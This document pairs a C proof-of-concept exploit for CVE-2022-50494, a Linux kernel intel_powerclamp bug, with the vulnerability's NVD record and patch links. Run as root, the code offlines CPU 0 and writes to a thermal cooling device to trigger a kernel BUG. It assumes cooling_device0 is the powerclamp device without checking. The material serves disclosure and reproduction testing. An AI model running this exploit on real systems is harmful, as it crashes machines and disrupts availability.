CVE-2022-50494

/* CVE-2022-50494 PoC - Trigger kernel BUG via intel_powerclamp * This PoC demonstrates how to trigger the kernel crash when CPU 0 is offline * and intel_powerclamp attempts idle injection. * Note: Requires root privileges to control CPU hotplug and powerclamp. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/stat.h> // Step 1: Offline CPU 0 (requires root) int offline_cpu0() { int fd; char buf[] = "0"; fd = open("/sys/devices/system/cpu/cpu0/online", O_WRONLY); if (fd < 0) { perror("Failed to open CPU0 online file (need root)"); return -1; } write(fd, buf, 1); close(fd); printf("CPU 0 offlined successfully\n"); return 0; } // Step 2: Trigger intel_powerclamp idle injection int trigger_powerclamp() { int fd; char buf[16]; // Set the idle injection ratio (percentage) fd = open("/sys/class/thermal/cooling_device0/cur_state", O_WRONLY); if (fd < 0) { // Try alternative path fd = open("/sys/devices/virtual/thermal/cooling_device0/cur_state", O_WRONLY); } if (fd < 0) { perror("Failed to open powerclamp cooling device"); return -1; } // Write a non-zero value to trigger idle injection snprintf(buf, sizeof(buf), "%d", 50); write(fd, buf, strlen(buf)); close(fd); printf("Triggered powerclamp idle injection\n"); return 0; } int main(int argc, char *argv[]) { printf("CVE-2022-50494 PoC\n"); printf("==================\n"); if (getuid() != 0) { printf("This PoC requires root privileges.\n"); printf("Run with: sudo %s\n", argv[0]); return 1; } printf("Step 1: Offlining CPU 0...\n"); if (offline_cpu0() != 0) { return 1; } sleep(1); printf("Step 2: Triggering intel_powerclamp idle injection...\n"); trigger_powerclamp(); printf("If vulnerable, kernel BUG should be triggered now.\n"); printf("Check dmesg for: 'BUG: using smp_processor_id() in preemptible code'\n"); return 0; }

{"cve": {"id": "CVE-2022-50494", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:46.420", "lastModified": "2026-01-23T20:54:23.520", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nthermal: intel_powerclamp: Use get_cpu() instead of smp_processor_id() to avoid crash\n\nWhen CPU 0 is offline and intel_powerclamp is used to inject\nidle, it generates kernel BUG:\n\nBUG: using smp_processor_id() in preemptible [00000000] code: bash/15687\ncaller is debug_smp_processor_id+0x17/0x20\nCPU: 4 PID: 15687 Comm: bash Not tainted 5.19.0-rc7+ #57\nCall Trace:\n<TASK>\ndump_stack_lvl+0x49/0x63\ndump_stack+0x10/0x16\ncheck_preemption_disabled+0xdd/0xe0\ndebug_smp_processor_id+0x17/0x20\npowerclamp_set_cur_state+0x7f/0xf9 [intel_powerclamp]\n...\n...\n\nHere CPU 0 is the control CPU by default and changed to the current CPU,\nif CPU 0 offlined. This check has to be performed under cpus_read_lock(),\nhence the above warning.\n\nUse get_cpu() instead of smp_processor_id() to avoid this BUG.\n\n[ rjw: Subject edits ]"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.9", "versionEndExcluding": "4.9.331", "matchCriteriaId": "644A50D3-EF85-43DD-B8E2-5958017348DA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.10", "versionEndExcluding": "4.14.296", "matchCriteriaId": "1927ABC6-E0D2-478F-B103-B982A42D1158"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.15", "versionEndExcluding": "4.19.262", "matchCriteriaId": "D6B62970-1FAD-4ED6-930A-23E26A8D2E08"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20", "versionEndExcluding": "5.4.220", "matchCriteriaId": "125F7133-B3B7-4175-8CF3-FF0845483254"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.150", "matchCriteriaId": "C495821C-2A71-4F09-BED8-6A6EB4C9BA27"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.75", "matchCriteriaId": "6D945F46-F32F-4C09-8400-C3477E22A9FB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "5.19.17", "matchCriteriaId": "19B4C3A4-E5C3-41DC-BB14-BE72858E7D35"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0", "versionEndExcluding": "6.0.3", "matchCriteriaId": "5BCD8201-B847-4442-B894-70D430128DEF"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0f91f66c568b316b19cb042cf50584467b3bdff4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3e799e815097febbcb81b472285be824f5d089f9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/418fae0700e85a498062424f8656435c32cdb200", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/513943bf879d45005213e6f5cfb7d9e9943f589f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5614908434451aafbf9b24cb5247cf1d21269f76", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5a646c38f648185ee2c62f2a19da3c6f04e27612", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/68b99e94a4a2db6ba9b31fe0485e057b9354a640", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6904727db0eb62fb0c2dce1cf331c341d97ee4b7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6e2a347b304224b2aeb1c0ea000d1cf8a02cc592", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}